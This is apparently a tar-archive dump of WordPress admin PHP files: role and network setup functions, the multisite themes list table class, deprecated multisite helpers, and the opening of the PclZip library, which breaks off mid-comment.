		$wpdb->query("DELETE a, b FROM $wpdb->options a, $wpdb->options b WHERE
			a.option_name LIKE '\_site\_transient\_%' AND
			a.option_name NOT LIKE '\_site\_transient\_timeout\_%' AND
			b.option_name = CONCAT( '_site_transient_timeout_', SUBSTRING( a.option_name, 17 ) )
			AND b.option_value < $time");
    }
}

/**
 * Execute WordPress role creation for the various WordPress versions.
 *
 * @since 2.0.0
 */
function populate_roles() {
	populate_roles_160();
	populate_roles_210();
	populate_roles_230();
	populate_roles_250();
	populate_roles_260();
	populate_roles_270();
	populate_roles_280();
	populate_roles_300();
}

/**
 * Create the roles for WordPress 2.0
 *
 * @since 2.0.0
 */
function populate_roles_160() {
	// Add roles

// Dummy gettext calls to get strings in the catalog.
	/* translators: user role */
	_x('Administrator', 'User role');
	/* translators: user role */
	_x('Editor', 'User role');
	/* translators: user role */
	_x('Author', 'User role');
	/* translators: user role */
	_x('Contributor', 'User role');
	/* translators: user role */
	_x('Subscriber', 'User role');

add_role('administrator', 'Administrator');
	add_role('editor', 'Editor');
	add_role('author', 'Author');
	add_role('contributor', 'Contributor');
	add_role('subscriber', 'Subscriber');

// Add caps for Administrator role
	$role = get_role('administrator');
	$role->add_cap('switch_themes');
	$role->add_cap('edit_themes');
	$role->add_cap('activate_plugins');
	$role->add_cap('edit_plugins');
	$role->add_cap('edit_users');
	$role->add_cap('edit_files');
	$role->add_cap('manage_options');
	$role->add_cap('moderate_comments');
	$role->add_cap('manage_categories');
	$role->add_cap('manage_links');
	$role->add_cap('upload_files');
	$role->add_cap('import');
	$role->add_cap('unfiltered_html');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_others_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('edit_pages');
	$role->add_cap('read');
	$role->add_cap('level_10');
	$role->add_cap('level_9');
	$role->add_cap('level_8');
	$role->add_cap('level_7');
	$role->add_cap('level_6');
	$role->add_cap('level_5');
	$role->add_cap('level_4');
	$role->add_cap('level_3');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Editor role
	$role = get_role('editor');
	$role->add_cap('moderate_comments');
	$role->add_cap('manage_categories');
	$role->add_cap('manage_links');
	$role->add_cap('upload_files');
	$role->add_cap('unfiltered_html');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_others_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('edit_pages');
	$role->add_cap('read');
	$role->add_cap('level_7');
	$role->add_cap('level_6');
	$role->add_cap('level_5');
	$role->add_cap('level_4');
	$role->add_cap('level_3');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Author role
	$role = get_role('author');
	$role->add_cap('upload_files');
	$role->add_cap('edit_posts');
	$role->add_cap('edit_published_posts');
	$role->add_cap('publish_posts');
	$role->add_cap('read');
	$role->add_cap('level_2');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Contributor role
	$role = get_role('contributor');
	$role->add_cap('edit_posts');
	$role->add_cap('read');
	$role->add_cap('level_1');
	$role->add_cap('level_0');

// Add caps for Subscriber role
	$role = get_role('subscriber');
	$role->add_cap('read');
	$role->add_cap('level_0');
}

/**
 * Create and modify WordPress roles for WordPress 2.1.
 *
 * @since 2.1.0
 */
function populate_roles_210() {
	$roles = array('administrator', 'editor');
	foreach ($roles as $role) {
		$role = get_role($role);
		if ( empty($role) )
			continue;

$role->add_cap('edit_others_pages');
		$role->add_cap('edit_published_pages');
		$role->add_cap('publish_pages');
		$role->add_cap('delete_pages');
		$role->add_cap('delete_others_pages');
		$role->add_cap('delete_published_pages');
		$role->add_cap('delete_posts');
		$role->add_cap('delete_others_posts');
		$role->add_cap('delete_published_posts');
		$role->add_cap('delete_private_posts');
		$role->add_cap('edit_private_posts');
		$role->add_cap('read_private_posts');
		$role->add_cap('delete_private_pages');
		$role->add_cap('edit_private_pages');
		$role->add_cap('read_private_pages');
	}

$role = get_role('administrator');
	if ( ! empty($role) ) {
		$role->add_cap('delete_users');
		$role->add_cap('create_users');
	}

$role = get_role('author');
	if ( ! empty($role) ) {
		$role->add_cap('delete_posts');
		$role->add_cap('delete_published_posts');
	}

$role = get_role('contributor');
	if ( ! empty($role) ) {
		$role->add_cap('delete_posts');
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.3.
 *
 * @since 2.3.0
 */
function populate_roles_230() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'unfiltered_upload' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.5.
 *
 * @since 2.5.0
 */
function populate_roles_250() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'edit_dashboard' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.6.
 *
 * @since 2.6.0
 */
function populate_roles_260() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'update_plugins' );
		$role->add_cap( 'delete_plugins' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.7.
 *
 * @since 2.7.0
 */
function populate_roles_270() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'install_plugins' );
		$role->add_cap( 'update_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 2.8.
 *
 * @since 2.8.0
 */
function populate_roles_280() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'install_themes' );
	}
}

/**
 * Create and modify WordPress roles for WordPress 3.0.
 *
 * @since 3.0.0
 */
function populate_roles_300() {
	$role = get_role( 'administrator' );

if ( !empty( $role ) ) {
		$role->add_cap( 'update_core' );
		$role->add_cap( 'list_users' );
		$role->add_cap( 'remove_users' );

// Never used, will be removed. create_users or
		// promote_users is the capability you're looking for.
		$role->add_cap( 'add_users' );

$role->add_cap( 'promote_users' );
		$role->add_cap( 'edit_theme_options' );
		$role->add_cap( 'delete_themes' );
		$role->add_cap( 'export' );
	}
}

/**
 * Install Network.
 *
 * @since 3.0.0
 *
 */
if ( !function_exists( 'install_network' ) ) :
function install_network() {
	if ( ! defined( 'WP_INSTALLING_NETWORK' ) )
		define( 'WP_INSTALLING_NETWORK', true );

dbDelta( wp_get_db_schema( 'global' ) );
}
endif;

/**
 * Populate network settings.
 *
 * @since 3.0.0
 *
 * @param int $network_id ID of network to populate.
 * @return bool|WP_Error True on success, or WP_Error on warning (with the install otherwise successful,
 *                       so the error code must be checked) or failure.
 */
function populate_network( $network_id = 1, $domain = '', $email = '', $site_name = '', $path = '/', $subdomain_install = false ) {
	global $wpdb, $current_site, $wp_db_version, $wp_rewrite;

$errors = new WP_Error();
	if ( '' == $domain )
		$errors->add( 'empty_domain', __( 'You must provide a domain name.' ) );
	if ( '' == $site_name )
		$errors->add( 'empty_sitename', __( 'You must provide a name for your network of sites.' ) );

// check for network collision
	if ( $network_id == $wpdb->get_var( $wpdb->prepare( "SELECT id FROM $wpdb->site WHERE id = %d", $network_id ) ) )
		$errors->add( 'siteid_exists', __( 'The network already exists.' ) );

$site_user = get_user_by( 'email', $email );
	if ( ! is_email( $email ) )
		$errors->add( 'invalid_email', __( 'You must provide a valid e-mail address.' ) );

if ( $errors->get_error_code() )
		return $errors;

// set up site tables
	$template = get_option( 'template' );
	$stylesheet = get_option( 'stylesheet' );
	$allowed_themes = array( $stylesheet => true );
	if ( $template != $stylesheet )
		$allowed_themes[ $template ] = true;
	if ( WP_DEFAULT_THEME != $stylesheet && WP_DEFAULT_THEME != $template )
		$allowed_themes[ WP_DEFAULT_THEME ] = true;

if ( 1 == $network_id ) {
		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path ) );
		$network_id = $wpdb->insert_id;
	} else {
		$wpdb->insert( $wpdb->site, array( 'domain' => $domain, 'path' => $path, 'id' => $network_id ) );
	}

wp_cache_delete( 'networks_have_paths', 'site-options' );

if ( !is_multisite() ) {
		$site_admins = array( $site_user->user_login );
		$users = get_users( array( 'fields' => array( 'ID', 'user_login' ) ) );
		if ( $users ) {
			foreach ( $users as $user ) {
				if ( is_super_admin( $user->ID ) && !in_array( $user->user_login, $site_admins ) )
					$site_admins[] = $user->user_login;
			}
		}
	} else {
		$site_admins = get_site_option( 'site_admins' );
	}

$welcome_email = __( 'Dear User,

Your new SITE_NAME site has been successfully set up at:
BLOG_URL

You can log in to the administrator account with the following information:
Username: USERNAME
Password: PASSWORD
Log in here: BLOG_URLwp-login.php

We hope you enjoy your new site. Thanks!

--The Team @ SITE_NAME' );

$sitemeta = array(
		'site_name' => $site_name,
		'admin_email' => $site_user->user_email,
		'admin_user_id' => $site_user->ID,
		'registration' => 'none',
		'upload_filetypes' => 'jpg jpeg png gif mp3 mov avi wmv midi mid pdf',
		'blog_upload_space' => 100,
		'fileupload_maxk' => 1500,
		'site_admins' => $site_admins,
		'allowedthemes' => $allowed_themes,
		'illegal_names' => array( 'www', 'web', 'root', 'admin', 'main', 'invite', 'administrator', 'files' ),
		'wpmu_upgrade_site' => $wp_db_version,
		'welcome_email' => $welcome_email,
		'first_post' => __( 'Welcome to <a href="SITE_URL">SITE_NAME</a>. This is your first post. Edit or delete it, then start blogging!' ),
		// @todo - network admins should have a method of editing the network siteurl (used for cookie hash)
		'siteurl' => get_option( 'siteurl' ) . '/',
		'add_new_users' => '0',
		'upload_space_check_disabled' => is_multisite() ? get_site_option( 'upload_space_check_disabled' ) : '1',
		'subdomain_install' => intval( $subdomain_install ),
		'global_terms_enabled' => global_terms_enabled() ? '1' : '0',
		'ms_files_rewriting' => is_multisite() ? get_site_option( 'ms_files_rewriting' ) : '0',
		'initial_db_version' => get_option( 'initial_db_version' ),
		'active_sitewide_plugins' => array(),
		'WPLANG' => get_locale(),
	);
	if ( ! $subdomain_install )
		$sitemeta['illegal_names'][] = 'blog';

/**
	 * Filter meta for a network on creation.
	 *
	 * @since 3.7.0
	 *
	 * @param array $sitemeta   Associative array of network meta keys and values to be inserted.
	 * @param int   $network_id ID of network to populate.
	 */
	$sitemeta = apply_filters( 'populate_network_meta', $sitemeta, $network_id );

$insert = '';
	foreach ( $sitemeta as $meta_key => $meta_value ) {
		if ( is_array( $meta_value ) )
			$meta_value = serialize( $meta_value );
		if ( !empty( $insert ) )
			$insert .= ', ';
		$insert .= $wpdb->prepare( "( %d, %s, %s)", $network_id, $meta_key, $meta_value );
	}
	$wpdb->query( "INSERT INTO $wpdb->sitemeta ( site_id, meta_key, meta_value ) VALUES " . $insert );

// When upgrading from single to multisite, assume the current site will become the main site of the network.
	// When using populate_network() to create another network in an existing multisite environment,
	// skip these steps since the main site of the new network has not yet been created.
	if ( ! is_multisite() ) {
		$current_site = new stdClass;
		$current_site->domain = $domain;
		$current_site->path = $path;
		$current_site->site_name = ucfirst( $domain );
		$wpdb->insert( $wpdb->blogs, array( 'site_id' => $network_id, 'blog_id' => 1, 'domain' => $domain, 'path' => $path, 'registered' => current_time( 'mysql' ) ) );
		$current_site->blog_id = $blog_id = $wpdb->insert_id;
		update_user_meta( $site_user->ID, 'source_domain', $domain );
		update_user_meta( $site_user->ID, 'primary_blog', $blog_id );

if ( $subdomain_install )
			$wp_rewrite->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
		else
			$wp_rewrite->set_permalink_structure( '/blog/%year%/%monthnum%/%day%/%postname%/' );

flush_rewrite_rules();

if ( ! $subdomain_install )
			return true;

$vhost_ok = false;
		$errstr = '';
		$hostname = substr( md5( time() ), 0, 6 ) . '.' . $domain; // Very random hostname!
		$page = wp_remote_get( 'http://' . $hostname, array( 'timeout' => 5, 'httpversion' => '1.1' ) );
		if ( is_wp_error( $page ) )
			$errstr = $page->get_error_message();
		elseif ( 200 == wp_remote_retrieve_response_code( $page ) )
				$vhost_ok = true;

if ( ! $vhost_ok ) {
			$msg = '<p><strong>' . __( 'Warning! Wildcard DNS may not be configured correctly!' ) . '</strong></p>';
			$msg .= '<p>' . sprintf( __( 'The installer attempted to contact a random hostname (<code>%1$s</code>) on your domain.' ), $hostname );
			if ( ! empty ( $errstr ) )
				$msg .= ' ' . sprintf( __( 'This resulted in an error message: %s' ), '<code>' . $errstr . '</code>' );
			$msg .= '</p>';
			$msg .= '<p>' . __( 'To use a subdomain configuration, you must have a wildcard entry in your DNS. This usually means adding a <code>*</code> hostname record pointing at your web server in your DNS configuration tool.' ) . '</p>';
			$msg .= '<p>' . __( 'You can still use your site but any subdomain you create may not be accessible. If you know your DNS is correct, ignore this message.' ) . '</p>';
			return new WP_Error( 'no_wildcard_dns', $msg );
		}
	}

return true;
}
class-wp-ms-themes-list-table.php000077700000034777151514577750013016 0ustar00<?php
/**
 * MS Themes List Table class.
 *
 * @package WordPress
 * @subpackage List_Table
 * @since 3.1.0
 * @access private
 */
class WP_MS_Themes_List_Table extends WP_List_Table {

var $site_id;
	var $is_site_themes;

function __construct( $args = array() ) {
		global $status, $page;

parent::__construct( array(
			'plural' => 'themes',
			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
		) );

$status = isset( $_REQUEST['theme_status'] ) ? $_REQUEST['theme_status'] : 'all';
		if ( !in_array( $status, array( 'all', 'enabled', 'disabled', 'upgrade', 'search', 'broken' ) ) )
			$status = 'all';

$page = $this->get_pagenum();

$this->is_site_themes = ( 'site-themes-network' == $this->screen->id ) ? true : false;

if ( $this->is_site_themes )
			$this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0;
	}

function get_table_classes() {
		return array( 'widefat', 'plugins' );	// todo: remove and add CSS for .themes
	}

function ajax_user_can() {
		if ( $this->is_site_themes )
			return current_user_can( 'manage_sites' );
		else
			return current_user_can( 'manage_network_themes' );
	}

function prepare_items() {
		global $status, $totals, $page, $orderby, $order, $s;

wp_reset_vars( array( 'orderby', 'order', 's' ) );

$themes = array(
			/**
			 * Filter the full array of WP_Theme objects to list in the Multisite
			 * themes list table.
			 *
			 * @since 3.1.0
			 *
			 * @param array $all An array of WP_Theme objects to display in the list table.
			 */
			'all' => apply_filters( 'all_themes', wp_get_themes() ),
			'search' => array(),
			'enabled' => array(),
			'disabled' => array(),
			'upgrade' => array(),
			'broken' => $this->is_site_themes ? array() : wp_get_themes( array( 'errors' => true ) ),
		);

if ( $this->is_site_themes ) {
			$themes_per_page = $this->get_items_per_page( 'site_themes_network_per_page' );
			$allowed_where = 'site';
		} else {
			$themes_per_page = $this->get_items_per_page( 'themes_network_per_page' );
			$allowed_where = 'network';
		}

$maybe_update = current_user_can( 'update_themes' ) && ! $this->is_site_themes && $current = get_site_transient( 'update_themes' );

foreach ( (array) $themes['all'] as $key => $theme ) {
			if ( $this->is_site_themes && $theme->is_allowed( 'network' ) ) {
				unset( $themes['all'][ $key ] );
				continue;
			}

if ( $maybe_update && isset( $current->response[ $key ] ) ) {
				$themes['all'][ $key ]->update = true;
				$themes['upgrade'][ $key ] = $themes['all'][ $key ];
			}

$filter = $theme->is_allowed( $allowed_where, $this->site_id ) ? 'enabled' : 'disabled';
			$themes[ $filter ][ $key ] = $themes['all'][ $key ];
		}

if ( $s ) {
			$status = 'search';
			$themes['search'] = array_filter( array_merge( $themes['all'], $themes['broken'] ), array( $this, '_search_callback' ) );
		}

$totals = array();
		foreach ( $themes as $type => $list )
			$totals[ $type ] = count( $list );

if ( empty( $themes[ $status ] ) && !in_array( $status, array( 'all', 'search' ) ) )
			$status = 'all';

$this->items = $themes[ $status ];
		WP_Theme::sort_by_name( $this->items );

$this->has_items = ! empty( $themes['all'] );
		$total_this_page = $totals[ $status ];

if ( $orderby ) {
			$orderby = ucfirst( $orderby );
			$order = strtoupper( $order );

if ( $orderby == 'Name' ) {
				if ( 'ASC' == $order )
					$this->items = array_reverse( $this->items );
			} else {
				uasort( $this->items, array( $this, '_order_callback' ) );
			}
		}

$start = ( $page - 1 ) * $themes_per_page;

if ( $total_this_page > $themes_per_page )
			$this->items = array_slice( $this->items, $start, $themes_per_page, true );

$this->set_pagination_args( array(
			'total_items' => $total_this_page,
			'per_page' => $themes_per_page,
		) );
	}

function _search_callback( $theme ) {
		static $term;
		if ( is_null( $term ) )
			$term = wp_unslash( $_REQUEST['s'] );

foreach ( array( 'Name', 'Description', 'Author', 'Author', 'AuthorURI' ) as $field ) {
			// Don't mark up; Do translate.
			if ( false !== stripos( $theme->display( $field, false, true ), $term ) )
				return true;
		}

if ( false !== stripos( $theme->get_stylesheet(), $term ) )
			return true;

if ( false !== stripos( $theme->get_template(), $term ) )
			return true;

return false;
	}

// Not used by any core columns.
	function _order_callback( $theme_a, $theme_b ) {
		global $orderby, $order;

$a = $theme_a[ $orderby ];
		$b = $theme_b[ $orderby ];

if ( $a == $b )
			return 0;

if ( 'DESC' == $order )
			return ( $a < $b ) ? 1 : -1;
		else
			return ( $a < $b ) ? -1 : 1;
	}

function no_items() {
		if ( ! $this->has_items )
			_e( 'No themes found.' );
		else
			_e( 'You do not appear to have any themes available at this time.' );
	}

function get_columns() {
		global $status;

return array(
			'cb'          => '<input type="checkbox" />',
			'name'        => __( 'Theme' ),
			'description' => __( 'Description' ),
		);
	}

function get_sortable_columns() {
		return array(
			'name'         => 'name',
		);
	}

function get_views() {
		global $totals, $status;

$status_links = array();
		foreach ( $totals as $type => $count ) {
			if ( !$count )
				continue;

switch ( $type ) {
				case 'all':
					$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'themes' );
					break;
				case 'enabled':
					$text = _n( 'Enabled <span class="count">(%s)</span>', 'Enabled <span class="count">(%s)</span>', $count );
					break;
				case 'disabled':
					$text = _n( 'Disabled <span class="count">(%s)</span>', 'Disabled <span class="count">(%s)</span>', $count );
					break;
				case 'upgrade':
					$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count );
					break;
				case 'broken' :
					$text = _n( 'Broken <span class="count">(%s)</span>', 'Broken <span class="count">(%s)</span>', $count );
					break;
			}

if ( $this->is_site_themes )
				$url = 'site-themes.php?id=' . $this->site_id;
			else
				$url = 'themes.php';

if ( 'search' != $type ) {
				$status_links[$type] = sprintf( "<a href='%s' %s>%s</a>",
					esc_url( add_query_arg('theme_status', $type, $url) ),
					( $type == $status ) ? ' class="current"' : '',
					sprintf( $text, number_format_i18n( $count ) )
				);
			}
		}

return $status_links;
	}

function get_bulk_actions() {
		global $status;

$actions = array();
		if ( 'enabled' != $status )
			$actions['enable-selected'] = $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' );
		if ( 'disabled' != $status )
			$actions['disable-selected'] = $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' );
		if ( ! $this->is_site_themes ) {
			if ( current_user_can( 'update_themes' ) )
				$actions['update-selected'] = __( 'Update' );
			if ( current_user_can( 'delete_themes' ) )
				$actions['delete-selected'] = __( 'Delete' );
		}
		return $actions;
	}

function display_rows() {
		foreach ( $this->items as $theme )
			$this->single_row( $theme );
	}

function single_row( $theme ) {
		global $status, $page, $s, $totals;

$context = $status;

if ( $this->is_site_themes ) {
			$url = "site-themes.php?id={$this->site_id}&amp;";
			$allowed = $theme->is_allowed( 'site', $this->site_id );
		} else {
			$url = 'themes.php?';
			$allowed = $theme->is_allowed( 'network' );
		}

// preorder
		$actions = array(
			'enable' => '',
			'disable' => '',
			'edit' => '',
			'delete' => ''
		);

$stylesheet = $theme->get_stylesheet();
		$theme_key = urlencode( $stylesheet );

if ( ! $allowed ) {
			if ( ! $theme->errors() )
				$actions['enable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=enable&amp;theme=' . $theme_key . '&amp;paged=' . $page . '&amp;s=' . $s, 'enable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Enable this theme') . '" class="edit">' . ( $this->is_site_themes ? __( 'Enable' ) : __( 'Network Enable' ) ) . '</a>';
		} else {
			$actions['disable'] = '<a href="' . esc_url( wp_nonce_url($url . 'action=disable&amp;theme=' . $theme_key . '&amp;paged=' . $page . '&amp;s=' . $s, 'disable-theme_' . $stylesheet ) ) . '" title="' . esc_attr__('Disable this theme') . '">' . ( $this->is_site_themes ? __( 'Disable' ) : __( 'Network Disable' ) ) . '</a>';
		}

if ( current_user_can('edit_themes') )
			$actions['edit'] = '<a href="' . esc_url('theme-editor.php?theme=' . $theme_key ) . '" title="' . esc_attr__('Open this theme in the Theme Editor') . '" class="edit">' . __('Edit') . '</a>';

if ( ! $allowed && current_user_can( 'delete_themes' ) && ! $this->is_site_themes && $stylesheet != get_option( 'stylesheet' ) && $stylesheet != get_option( 'template' ) )
			$actions['delete'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=delete-selected&amp;checked[]=' . $theme_key . '&amp;theme_status=' . $context . '&amp;paged=' . $page . '&amp;s=' . $s, 'bulk-themes' ) ) . '" title="' . esc_attr__( 'Delete this theme' ) . '" class="delete">' . __( 'Delete' ) . '</a>';

/**
		 * Filter the action links displayed for each theme in the Multisite
		 * themes list table.
		 *
		 * The action links displayed are determined by the theme's status, and
		 * which Multisite themes list table is being displayed - the Network
		 * themes list table (themes.php), which displays all installed themes,
		 * or the Site themes list table (site-themes.php), which displays the
		 * non-network enabled themes when editing a site in the Network admin.
		 *
		 * The default action links for the Network themes list table include
		 * 'Network Enable', 'Network Disable', 'Edit', and 'Delete'.
		 *
		 * The default action links for the Site themes list table include
		 * 'Enable', 'Disable', and 'Edit'.
		 *
		 * @since 2.8.0
		 *
		 * @param array    $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme.
		 */
		$actions = apply_filters( 'theme_action_links', array_filter( $actions ), $theme, $context );

/**
		 * Filter the action links of a specific theme in the Multisite themes
		 * list table.
		 *
		 * The dynamic portion of the hook name, $stylesheet, refers to the
		 * directory name of the theme, which in most cases is synonymous
		 * with the template name.
		 *
		 * @since 3.1.0
		 *
		 * @param array    $actions An array of action links.
		 * @param WP_Theme $theme   The current WP_Theme object.
		 * @param string   $context Status of the theme.
		 */
		$actions = apply_filters( "theme_action_links_$stylesheet", $actions, $theme, $context );

$class = ! $allowed ? 'inactive' : 'active';
		$checkbox_id = "checkbox_" . md5( $theme->get('Name') );
		$checkbox = "<input type='checkbox' name='checked[]' value='" . esc_attr( $stylesheet ) . "' id='" . $checkbox_id . "' /><label class='screen-reader-text' for='" . $checkbox_id . "' >" . __('Select') . " " . $theme->display('Name') . "</label>";

$id = sanitize_html_class( $theme->get_stylesheet() );

if ( ! empty( $totals['upgrade'] ) && ! empty( $theme->update ) )
			$class .= ' update';

echo "<tr id='$id' class='$class'>";

list( $columns, $hidden ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			$style = '';
			if ( in_array( $column_name, $hidden ) )
				$style = ' style="display:none;"';

switch ( $column_name ) {
				case 'cb':
					echo "<th scope='row' class='check-column'>$checkbox</th>";
					break;
				case 'name':
					echo "<td class='theme-title'$style><strong>" . $theme->display('Name') . "</strong>";
					echo $this->row_actions( $actions, true );
					echo "</td>";
					break;
				case 'description':
					echo "<td class='column-description desc'$style>";
					if ( $theme->errors() ) {
						$pre = $status == 'broken' ? __( 'Broken Theme:' ) . ' ' : '';
						echo '<p><strong class="attention">' . $pre . $theme->errors()->get_error_message() . '</strong></p>';
					}
					echo "<div class='theme-description'><p>" . $theme->display( 'Description' ) . "</p></div>
						<div class='$class second theme-version-author-uri'>";

$theme_meta = array();

if ( $theme->get('Version') )
						$theme_meta[] = sprintf( __( 'Version %s' ), $theme->display('Version') );

$theme_meta[] = sprintf( __( 'By %s' ), $theme->display('Author') );

if ( $theme->get('ThemeURI') )
						$theme_meta[] = '<a href="' . $theme->display('ThemeURI') . '" title="' . esc_attr__( 'Visit theme homepage' ) . '">' . __( 'Visit Theme Site' ) . '</a>';

/**
					 * Filter the array of row meta for each theme in the Multisite themes
					 * list table.
					 *
					 * @since 3.1.0
					 *
					 * @param array    $theme_meta An array of the theme's metadata,
					 *                             including the version, author, and
					 *                             theme URI.
					 * @param string   $stylesheet Directory name of the theme.
					 * @param WP_Theme $theme      WP_Theme object.
					 * @param string   $status     Status of the theme.
					 */
					$theme_meta = apply_filters( 'theme_row_meta', $theme_meta, $stylesheet, $theme, $status );
					echo implode( ' | ', $theme_meta );

echo "</div></td>";
					break;

default:
					echo "<td class='$column_name column-$column_name'$style>";

/**
					 * Fires inside each custom column of the Multisite themes list table.
					 *
					 * @since 3.1.0
					 *
					 * @param string   $column_name Name of the column.
					 * @param string   $stylesheet  Directory name of the theme.
					 * @param WP_Theme $theme       Current WP_Theme object.
					 */
					do_action( 'manage_themes_custom_column', $column_name, $stylesheet, $theme );
					echo "</td>";
			}
		}

echo "</tr>";

if ( $this->is_site_themes )
			remove_action( "after_theme_row_$stylesheet", 'wp_theme_update_row' );

/**
		 * Fires after each row in the Multisite themes list table.
		 *
		 * @since 3.1.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( 'after_theme_row', $stylesheet, $theme, $status );

/**
		 * Fires after each specific row in the Multisite themes list table.
		 *
		 * The dynamic portion of the hook name, $stylesheet, refers to the
		 * directory name of the theme, most often synonymous with the template
		 * name of the theme.
		 *
		 * @since 3.5.0
		 *
		 * @param string   $stylesheet Directory name of the theme.
		 * @param WP_Theme $theme      Current WP_Theme object.
		 * @param string   $status     Status of the theme.
		 */
		do_action( "after_theme_row_$stylesheet", $stylesheet, $theme, $status );
	}
}
ms-deprecated.php000077700000003713151514577750010026 0ustar00<?php
/**
 * Deprecated multisite admin functions from past WordPress versions and WordPress MU.
 * You shouldn't use these functions and look for the alternatives instead. The functions
 * will be removed in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 * @since 3.0.0
 */

/**
 * @deprecated 3.0.0
 */
function wpmu_menu() {
	_deprecated_function(__FUNCTION__, '3.0' );
	// deprecated. See #11763
}

/**
  * Determines if the available space defined by the admin has been exceeded by the user.
  *
  * @deprecated 3.0.0
  * @see is_upload_space_available()
 */
function wpmu_checkAvailableSpace() {
	_deprecated_function(__FUNCTION__, '3.0', 'is_upload_space_available()' );

if ( !is_upload_space_available() )
		wp_die( __('Sorry, you must delete files before you can upload any more.') );
}

/**
 * @deprecated 3.0.0
 */
function mu_options( $options ) {
	_deprecated_function(__FUNCTION__, '3.0' );
	return $options;
}

/**
 * @deprecated 3.0.0
 * @see activate_plugin()
 */
function activate_sitewide_plugin() {
	_deprecated_function(__FUNCTION__, '3.0', 'activate_plugin()' );
	return false;
}

/**
 * @deprecated 3.0.0
 * @see deactivate_sitewide_plugin()
 */
function deactivate_sitewide_plugin( $plugin = false ) {
	_deprecated_function(__FUNCTION__, '3.0', 'deactivate_plugin()' );
	return;
}

/**
 * @deprecated 3.0.0
 * @see is_network_only_plugin()
 */
function is_wpmu_sitewide_plugin( $file ) {
	_deprecated_function(__FUNCTION__, '3.0', 'is_network_only_plugin()' );
	return is_network_only_plugin( $file );
}

function get_site_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_network()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_network() );
}

function wpmu_get_blog_allowedthemes( $blog_id = 0 ) {
	_deprecated_function( __FUNCTION__, '3.4', 'WP_Theme::get_allowed_on_site()' );
	return array_map( 'intval', WP_Theme::get_allowed_on_site( $blog_id ) );
}

function ms_deprecated_blogs_file() {}class-pclzip.php000077700000576042151514577750007727 0ustar00<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------

// ----- Constants
  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
  }

// ----- File list separator
  // In version 1.x of PclZip, the separator for file list is a space
  // (which is not a very smart choice, specifically for windows paths !).
  // A better separator should be a comma (,). This constant gives you the
  // abilty to change that.
  // However notice that changing this value, may have impact on existing
  // scripts, using space separated filenames.
  // Recommanded values for compatibility with older versions :
  //define( 'PCLZIP_SEPARATOR', ' ' );
  // Recommanded values for smart separation of filenames.
  if (!defined('PCLZIP_SEPARATOR')) {
    define( 'PCLZIP_SEPARATOR', ',' );
  }

// ----- Error configuration
  // 0 : PclZip Class integrated error handling
  // 1 : PclError external library error handling. By enabling this
  //     you must ensure that you have included PclError library.
  // [2,...] : reserved for futur use
  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
  }

// ----- Optional static temporary directory
  //       By default temporary files are generated in the script current
  //       path.
  //       If defined :
  //       - MUST BE terminated by a '/'.
  //       - MUST be a valid, already created directory
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
  if (!defined('PCLZIP_TEMPORARY_DIR')) {
    define( 'PCLZIP_TEMPORARY_DIR', '' );
  }

// ----- Optional threshold ratio for use of temporary files
  //       Pclzip sense the size of the file to add/extract and decide to
  //       use or not temporary file. The algorythm is looking for
